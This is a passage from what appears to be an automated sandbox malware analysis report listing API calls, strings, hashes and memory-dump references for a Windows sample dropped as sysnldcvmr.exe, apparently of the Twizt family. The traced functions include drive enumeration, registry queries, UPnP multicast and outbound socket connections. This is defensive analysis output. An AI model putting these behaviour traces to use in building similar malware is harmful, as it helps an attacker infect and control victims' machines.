InternetCloseHandle.WININET(00000000), ref: 0040EAB8
InternetCloseHandle.WININET(00000000), ref: 0040EAC2
Sleep.KERNEL32(000003E8), ref: 0040EACD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040EA42

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
API String ID: 2743515581-2960703779
Opcode ID: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction ID: 45b81d3650d60dd7d70083547d95fe89803667d47bfd0af2cf5eef3cde06382e
Opcode Fuzzy Hash: ef8e19ed345852c8d52971dd1004b0fcc021cc447378e9d991bc7cd61a6891ce
Instruction Fuzzy Hash: 4021E774A40308BBEB11DB94CC49FEEB775BB48705F1085A9FA11AA2C0C7B96A40CB55

Function 00407440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 004074BD
Sleep.KERNEL32(000003E8), ref: 004074EC
wsprintfA.USER32 ref: 00407517
DeleteUrlCacheEntry.WININET(?), ref: 00407527
Sleep.KERNEL32(000DBBA0), ref: 0040756F

Strings

%s%s, xrefs: 0040750B

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleep$CacheDeleteEntrywsprintf
String ID: %s%s
API String ID: 1447977647-3252725368
Opcode ID: 2af734eb8a68885c7578e528b5e2c09e32b601dfce958a0453a982a9a53f2003
Instruction ID: 516f793b53608c34cc4cf2fa152c24c34b7f811ac1bf05daad4eae6c0a67dd49
Opcode Fuzzy Hash: 2af734eb8a68885c7578e528b5e2c09e32b601dfce958a0453a982a9a53f2003
Instruction Fuzzy Hash: DB31FAB0D00218ABCB50DFA9D8887DDBBB4FB08305F1085AAE519B6291D7795AC4CF5A

Function 004063A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 004063A6
RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 004063F4
RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406421
RegCloseKey.ADVAPI32(?), ref: 0040643E

Strings

NoDrives, xrefs: 00406418
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 004063E7

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction ID: 69498c8574f0fe75ee0e18bc350880e9ca7d597cc08e8ba402afd13981da7d97
Opcode Fuzzy Hash: 314293f9e134081a44844c09a9b0f17b23a1eb3db84437885ffb7fb3e0008323
Instruction Fuzzy Hash: AC11DD71E4020A9BDB10CFD4D946BEEBBB4FB08708F118159E911B7280D7B85695CF99

Function 0040D160 Relevance: 9.1, APIs: 6, Instructions: 80threadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184

Part of subcall function 0040D250: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
Part of subcall function 0040D250: CloseHandle.KERNEL32(?), ref: 0040D2A9

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction ID: b4a3372add05cffca1b77c7dac60b50b4844df58a08520f3d20c10534500f2db
Opcode Fuzzy Hash: 0f4ce32234228e51373a718084f49bdd165b62b4cc5873150e0a73e2794c4448
Instruction Fuzzy Hash: 6B31D6B4A00209EFDB04DF98D889F9EBBB5FB48304F1081A8E905A7391D775EA95CF54

Function 00407370 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00407376
srand.MSVCRT ref: 0040737D
rand.MSVCRT ref: 00407385
Sleep.KERNEL32 ref: 00407396
StrChrA.SHLWAPI(00000000,0000007C), ref: 004073BC
Sleep.KERNEL32(000003E8), ref: 004073ED

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Sleep$CountTickrandsrand
String ID:
API String ID: 3488799664-0
Opcode ID: 1503d547a84aa88fbee23e8cbfc899b47ed0880758e93169a3ac49148c4a2f4a
Instruction ID: b6b36855a0edcd25512206b50fb5473dda965f97846ebbbd8b428d1493e324f4
Opcode Fuzzy Hash: 1503d547a84aa88fbee23e8cbfc899b47ed0880758e93169a3ac49148c4a2f4a
Instruction Fuzzy Hash: 1D21D875E04208FBD704DF60D8856AE7B31EB45304F10C47AED026B381DA79AA80DB56

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 5b264580e174f85d4cce86815f8b38fbca65b529ae4d3d4b8a529887849fd544
Instruction ID: d4e165de5104959f260b85937ca272364f863e3dc64df769d8e1baf9f078371f
Opcode Fuzzy Hash: 5b264580e174f85d4cce86815f8b38fbca65b529ae4d3d4b8a529887849fd544
Instruction Fuzzy Hash: 5831A5762083009BC710DF69D884A9BBBE4AFC9714F04456EFD9897381D634D919C7E7

Function 00406FE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407A2A), ref: 00406FE8
SysAllocString.OLEAUT32(C:\Windows\sysnldcvmr.exe), ref: 00406FF3
CoUninitialize.OLE32 ref: 00407018

Part of subcall function 00407030: SysFreeString.OLEAUT32(00000000), ref: 00407248

SysFreeString.OLEAUT32(00000000), ref: 00407012

Strings

C:\Windows\sysnldcvmr.exe, xrefs: 00406FEE

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Windows\sysnldcvmr.exe
API String ID: 459949847-3906355863
Opcode ID: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction ID: 74c6c169e6652ce6f6b7715e91ddbb7e77275cafe0f94b55a583b47f3cb3299b
Opcode Fuzzy Hash: 8c6e8e85228af4463c2c4705a75977d25c0b83143a75c32acd5627430c5b3515
Instruction Fuzzy Hash: 13E01275D44208FBD704AFA0DD0EB9D77789B05341F1081A5F905922A0DAF95E80DB56

Function 00406320 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(004062FF), ref: 0040632D
QueryDosDeviceW.KERNEL32(004062FF,?,00000208), ref: 0040636C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406384

Strings

\??\, xrefs: 00406378

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction ID: affcc5b958b6168f9f245bae438771e9e0bc574488939cd978d138ae5b874539
Opcode Fuzzy Hash: 2ed414b0295d9b290f281463d65c6dfdef2d1200349873c82773e40805adb805
Instruction Fuzzy Hash: 4101ECB0A4020CEBCB20DF55DD496DEB7B5AB04704F01C0BAAA09A7280D6759AD5CF99

Function 00407310 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 00407338
CreateThread.KERNEL32(00000000,00000000,00407370,00000000,00000000,00000000), ref: 0040735A
CloseHandle.KERNEL32(00000000), ref: 00407361

Strings

.Mw, xrefs: 00407361

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID: .Mw
API String ID: 2064604595-2453323595
Opcode ID: 4ba0acdde54fd6a1846075b770b5d55397f96483b8af1252066fbfcfee1e69d0
Instruction ID: f93afe995e2a8aed0921a04be4342d20ba97acab7f8849ac526c8a5d2aa2879c
Opcode Fuzzy Hash: 4ba0acdde54fd6a1846075b770b5d55397f96483b8af1252066fbfcfee1e69d0
Instruction Fuzzy Hash: 20F090B1A04308FBDB00DFA4EC46F9E7378BB48704F244468F908A73C1D675AA10CB59

Function 0040E770 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406BF0,80000000,00000001,00000000,00000003,00000000,00000000,00406BF0), ref: 0040E790
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040E7A5
CloseHandle.KERNEL32(000000FF), ref: 0040E7B2

Strings

.Mw, xrefs: 0040E7B2

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID: .Mw
API String ID: 1378416451-2453323595
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 089911091b4f8663884f4f3f40455582f6b765449e30803f2281244f10637e16
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: FDF0C074A40308FBEB20DFA4DC49FDDBB78EB04711F208695FA05BB2D0D6B56A918B54

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: c9913038924388fd53f7caad2d83427ef97aeb746a7412440f965ee31c5f62a1
Instruction ID: e1641215121ef27e00d374ead4771de002ae7678dd3977a0c2b5eb1dd4af8410
Opcode Fuzzy Hash: c9913038924388fd53f7caad2d83427ef97aeb746a7412440f965ee31c5f62a1
Instruction Fuzzy Hash: BE21B1B11043016FD304DF65D884A6BB7E8AF88318F004A3EF559A6291E774D948C7AA

Function 00407030 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 004072C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004072E0

SysFreeString.OLEAUT32(00000000), ref: 00407248

Strings

Microsoft Corporation, xrefs: 004071B6

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 02533b8cefa12045522b44547180ad822de7a0bc47ea34b05886565fcfb19160
Instruction ID: 457fc6c08a50d419230b37d5b6ce52bdab008108e04107557a49afcd29d8ec7c
Opcode Fuzzy Hash: 02533b8cefa12045522b44547180ad822de7a0bc47ea34b05886565fcfb19160
Instruction Fuzzy Hash: 4491FC75E0410ADFCB04DB94D890AAFB7B5BF48304F2081A9E515B73E4D734AE82CB66

Function 0040D640 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002,?,?,?,00407A25), ref: 0040D64A

Part of subcall function 0040D710: socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
Part of subcall function 0040D710: htons.WS2_32(0000076C), ref: 0040D760
Part of subcall function 0040D710: inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
Part of subcall function 0040D710: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D
Part of subcall function 0040D710: bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
Part of subcall function 0040D710: lstrlenA.KERNEL32(00411760,00000000,?,00000010), ref: 0040D7DC
Part of subcall function 0040D710: sendto.WS2_32(000000FF,00411760,00000000), ref: 0040D7EB
Part of subcall function 0040D710: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040D805

Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
Part of subcall function 0040D980: SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

TCP, xrefs: 0040D6BB
UDP, xrefs: 0040D6D8

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction ID: b9d850b43d5b9198a526a111fa4c70c7537d99c61ef063864e94ee7d89292dcb
Opcode Fuzzy Hash: e7e0460ef37b7f5a634b859c329effc3c57a24fdb8b35e9f857aa09b9315b4ce
Instruction Fuzzy Hash: A91181B4D01208EBDB00EBD4D945FEE7374AB44308F1089BAE505772C2D7799E58CB9A

Function 00405EB0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415E30,?,00000000,?), ref: 00405EBF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405EFE
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F73
LeaveCriticalSection.KERNEL32(00415E30), ref: 00405F90

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 2c26dda0fb1b2b55389890a8dd4c5e3531891c631ddff193af464d92092119d3
Instruction ID: 4abcbf5e8f17672ba879e37304839ab4c0f114d9c1813139277d8bca2654c775
Opcode Fuzzy Hash: 2c26dda0fb1b2b55389890a8dd4c5e3531891c631ddff193af464d92092119d3
Instruction Fuzzy Hash: 71217C35D04609EBCB04DF94D985BDEBBB1EB48304F1481AAE80567281D37CAA95CF9A

Function 0040CAD0 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040CADC
InterlockedIncrement.KERNEL32(000000FF), ref: 0040CB11
InterlockedDecrement.KERNEL32(000000FF), ref: 0040CC14

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: 583b2f640be86316a3766e4c7421dc12573213a2e397918099c48a18d3c3b376
Instruction ID: 83670a342839083162ad58e3b7d5d9bbd8ac0fe46ad26882e5e5984df89c7db9
Opcode Fuzzy Hash: 583b2f640be86316a3766e4c7421dc12573213a2e397918099c48a18d3c3b376
Instruction Fuzzy Hash: EB41C5B5E00204FBDF00EB94E885BAF77755B04304F148669F505BB2C2D639E94187A9

Function 0040B480 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Twizt,0040D5B8,0040D5B8,?,?,0040D5B8,00000000,0040D5B8,0040D5B8,00000000,00000000), ref: 0040B4CC

Strings

Twizt, xrefs: 0040B4D3
Twizt, xrefs: 0040B4C7

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: 28cc8b85fbb863a96b5461235214a5ab15b9d829432cc0cf808d74acbef9bc59
Instruction ID: a71c0bccabe8f3fb080a23dd90b4eb14de59e01fcd2b7b8bcad4b0800539831b
Opcode Fuzzy Hash: 28cc8b85fbb863a96b5461235214a5ab15b9d829432cc0cf808d74acbef9bc59
Instruction Fuzzy Hash: 181124B5900108BFCB04DF98D841E9EB7B5EF48308F14C1A9FD19AB342D635EA10CBA5

Function 0040CDC0 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040CDD3
htons.WS2_32(00009E34), ref: 0040CE05
connect.WS2_32(000000FF,?,00000010), ref: 0040CE1F

Part of subcall function 0040AB40: shutdown.WS2_32(0040AB2D,00000002), ref: 0040AB49
Part of subcall function 0040AB40: closesocket.WS2_32(0040AB2D), ref: 0040AB53

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: cbdb9185097dfb3a9a33e6ecced3d904d4b18b7e3af7f03057a5aabe6a457024
Instruction ID: 10e4ce005d5f4377fb43720ce7fadd865a0fdbaf8ef4bbe44a4c7335c1314f5f
Opcode Fuzzy Hash: cbdb9185097dfb3a9a33e6ecced3d904d4b18b7e3af7f03057a5aabe6a457024
Instruction Fuzzy Hash: 71113974D05209EBCB10DFA8DA496AEB670AF08320F2043A9E529A73D0D7745F01979A

Function 00409E70 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00409E50: GetCurrentProcessId.KERNEL32(?,00409DBB,?,0040C6CE,00000010,?,?,?,?,?,?,0040C43B), ref: 00409E53

HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,00409DC7,?,0040C6CE,00000010,?,?,?,?,?,?,0040C43B), ref: 00409E9C
HeapSetInformation.KERNEL32(020D0000,00000000,00000002,00000004), ref: 00409EC6
GetCurrentProcessId.KERNEL32 ref: 00409ECC

Part of subcall function 00409EE0: GetProcessHeaps.KERNEL32(000000FF,?), ref: 00409EFC

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: f2378abd389c528855b2215640a50ba70f6bde38e81fbf66e01ddb41fd263172
Instruction ID: d15e15a0956cd53a3f7420caceedbd75f27766a05eec27fee61015ba2f128238
Opcode Fuzzy Hash: f2378abd389c528855b2215640a50ba70f6bde38e81fbf66e01ddb41fd263172
